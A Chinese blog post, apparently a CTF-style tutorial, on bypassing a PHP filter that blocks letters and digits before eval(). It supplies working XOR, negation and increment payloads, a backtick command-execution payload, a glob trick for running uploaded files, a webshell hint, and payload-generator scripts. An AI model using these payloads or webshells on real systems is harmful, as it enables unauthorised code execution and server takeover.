本文参考p牛和其他大牛的文章,稍作补充,读起来更顺畅
反正没有人读我的博客,自娱自乐一下
问题
当遇到这样的问题的时候怎么样构造shell绕过限制
1 2 3
| if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']); }
|
过滤了数字和大小写字母,这时候就需要一点奇巧淫技
PHP5 和 PHP7中assert的区别
- PHP5中assert可以动态调用,PHP7中不可以,但是PHP7.0.12前实际上还是可以的
- PHP5,不支持($a)()这种调用方式,但是PHP7中支持,如
('phpinfo')()
异或绕过
首先要知道的是两个字符串异或之后得到的还是一个字符串,所以我们可以用一些非字母数字的字符异或后变成我们想要的字符,但是说实话徒手找的话实在费劲,下面php代码生成列表
1 2 3 4 5
| <?php for($i=128;$i<255;$i++){ echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n"; } ?>
|
得到下面列表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| %81^%FF=>~ %82^%FF=>} %83^%FF=>| %84^%FF=>{ %85^%FF=>z %86^%FF=>y %87^%FF=>x %88^%FF=>w %89^%FF=>v %8A^%FF=>u %8B^%FF=>t %8C^%FF=>s %8D^%FF=>r %8E^%FF=>q %8F^%FF=>p %90^%FF=>o %91^%FF=>n %92^%FF=>m %93^%FF=>l %94^%FF=>k %95^%FF=>j %96^%FF=>i %97^%FF=>h %98^%FF=>g %99^%FF=>f %9A^%FF=>e %9B^%FF=>d %9C^%FF=>c %9D^%FF=>b %9E^%FF=>a %9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^ %A2^%FF=>] %A3^%FF=>\ %A4^%FF=>[ %A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X %A8^%FF=>W %A9^%FF=>V %AA^%FF=>U %AB^%FF=>T %AC^%FF=>S %AD^%FF=>R %AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O %B1^%FF=>N %B2^%FF=>M %B3^%FF=>L %B4^%FF=>K %B5^%FF=>J %B6^%FF=>I %B7^%FF=>H %B8^%FF=>G %B9^%FF=>F %BA^%FF=>E %BB^%FF=>D %BC^%FF=>C %BD^%FF=>B %BE^%FF=>A %BF^%FF=>@ %C0^%FF=>?
|
然后用这些字符构成函数,比如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| %9E^%FF=>a %8C^%FF=>s %9A^%FF=>e %8D^%FF=>r %8B^%FF=>t %A0^%FF=>_ %AF^%FF=>P %B0^%FF=>O %AC^%FF=>S %AB^%FF=>T $_=urldecode("%9E%8C%8C%9A%8D%8B")^urldecode("%FF%FF%FF%FF%FF%FF"); $__=urldecode("%A0%AF%B0%AC%AB")^urldecode("%FF%FF%FF%FF%FF"); $___=$$__; $_($___[_]);
|
这里之所以不直接传入$_POST[_]
形成eval($_POST[_])
是由于前面还存在异或的操作,而eval只会执行一次,所以得加一个assert
函数
偷来的偷来的,会在结尾标注
或者其他用法
1 2 3 4 5 6
| ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
我们知道,经过一次get传参会进行一次URL解码,所以我们可以将字符先进行url编码再进行异或得到我们想要的字符。 %A0^%FF=>_ %B8^%FF=>G %BA^%FF=>E %AB^%FF=>T
|
解析:
%ff%ff%ff%ff^%a0%b8%ba%ab
,中一一对应进行异或,php中{}
用来区别是字符串还是别的东西,防止混淆,这里用{}
将_GET
和%ff
框起来就是防止被url解码了,最后执行了phpinfo()
取反绕过
p牛师傅利用的是将UTF-8编码的汉字中取出某个字符出来,然后取反
比如说和
字的表示如下
然后取其中的\x8c
,用'和'{2}
或者[2]也可以,看题目过滤了哪个的问题了,下放出p师傅的结果
shell生成:
1 2 3 4 5 6 7 8 9 10 11
| <?php $__=('>'>'<')+('>'>'<'); $_=$__/$__;
$____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____; $____($_[$__]);
|
解析:
这里的('>'>'<')+('>'>'<')
是利用了php弱比较类型的特点,’>’>’<’为真,使用+号强制类型转换就是1+1=2,就能得到我们想要的2了
下面这个脚本也可以用于生成指定字符串变成两个不含字母数字的字符串异或的结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php $shell = "assert"; $result1 = ""; $result2 = ""; for($num=0;$num<=strlen($shell);$num++) { for($x=33;$x<126;$x++) { if(judge(chr($x))) { for($y=33;$y<=126;$y++) { if(judge(chr($y))) { $f = chr($x)^chr($y); if($f == $shell[$num]) { $result1 .= chr($x); $result2 .= chr($y); break 2; } } } } } } echo $result1; echo "<br>"; echo $result2;
function judge($c) { if(!preg_match('/[a-z0-9]/is',$c)) { return true; } return false; }
|
1 2 3 4 5
| <?php $_ = "!((%)("^"@[[@[\\"; $__ = "!+/(("^"~{`{|"; $___ = $$__; $_($___[_]);
|
最简单的解法:
1 2 3 4 5
| <?php $_ = ~"%9e%8c%8c%9a%8d%8b"; $__ = ~"%a0%af%b0%ac%ab"; $___ = $$__; $_($___[_]);
|
payload:
1
| ?shell=$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);
|
自增绕过
先看PHP的特性
https://www.php.net/manual/zh/language.operators.increment.php
上图也说了字符变量只能递增不能递减,所以这里只有递增的绕过,所以我们只要拿到A
就行了(PHP大小写不敏感并且A的ascii码小于a),递增即可拿到a-zA-Z
p牛给出了解决方法
构造过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php $_=[]; $_=@"$_"; $_=$_['!'=='@']; $___=$_; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $___.=$__; $__=$_; $__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;
$____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__;
$_=$$____; $___($_[_]);
|
绕过_过滤
?><?=\
{${“%a0%b8%ba%ab”}[%a0]}`?>`
分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,“%a0%b8%ba%ab”为”_GET”,通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。
绕过 $过滤
前置知识:
shell下可以利用.来执行任意脚本
Linux文件名支持glob通配符代替
那么就可以联想到,上传文件然后用glob+.
匹配执行文件
POST上传的文件默认存放位置是/tmp/phpxxxxxx
,xxxxxx
是6位随机的大小写字母和数字
- glob通配符
那么就可以构造\
. /???/???????[@-[]``来执行系统命令搜索我们上传的文件并执行
文件上传的html代码:1 2 3 4 5 6 7 8 9 10 11 12 13
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> <form action="http://ip:*****/" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="提交"> </form> </body> </html>
|
可以将输出内容写到/var/www/html/abc/
目录下直接查看
可以echo "<?php eval($_POST['cmd'])"
直接用蚁剑连上去
查看可用字符的脚本
1 2 3 4 5 6 7
| <?php for ($ascii = 0; $ascii < 256; $ascii++) { if (!preg_match("/[\w$=()<>'\"]/", chr($ascii))) { echo (chr($ascii)); } } ?>
|
构造NAN:
fuzz脚本
fuzz_char.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| <?php
function orRce($par1, $par2){ $result = (urldecode($par1)|urldecode($par2)); return $result; }
function xorRce($par1, $par2){ $result = (urldecode($par1)^urldecode($par2)); return $result; }
function negateRce(){ fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');'; }
function generate($mode, $preg='/[0-9]/i'){ if ($mode!=3){ $myfile = fopen("rce_or.txt", "w"); $contents = "";
for ($i=0;$i<256;$i++){ for ($j=0;$j<256;$j++){ if ($i<16){ $hex_i = '0'.dechex($i); }else{ $hex_i = dechex($i); } if ($j<16){ $hex_j = '0'.dechex($j); }else{ $hex_j = dechex($j); } if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; }else{ $par1 = "%".$hex_i; $par2 = '%'.$hex_j; $res = ''; if ($mode==1){ $res = orRce($par1, $par2); }else if ($mode==2){ $res = xorRce($par1, $par2); }
if (ord($res)>=32&ord($res)<=126){ $contents=$contents.$res." ".$par1." ".$par2."\n"; } } }
} fwrite($myfile,$contents); fclose($myfile); }else{ negateRce(); }
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
|
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import requests import urllib from sys import * import os os.system("php fuzz_char.php") def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output)
while True: print(action(input("\n[+] your function:") )+action(input("[+] your command:")))
|
在fuzz_char.php调整字符串的mode,再运行exp.py输入函数名和参数即可获得payload
小trick记录
1 2 3 4 5 6 7 8
| $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
?cmd=include$_GET[_]?>&_=<?php system('whoami');?>
|
参考链接
https://mp.weixin.qq.com/s/mxwoodKUiXdbOSgPUkKaWg
https://www.leavesongs.com/penetration/webshell-without-alphanum.html?page=1#reply-list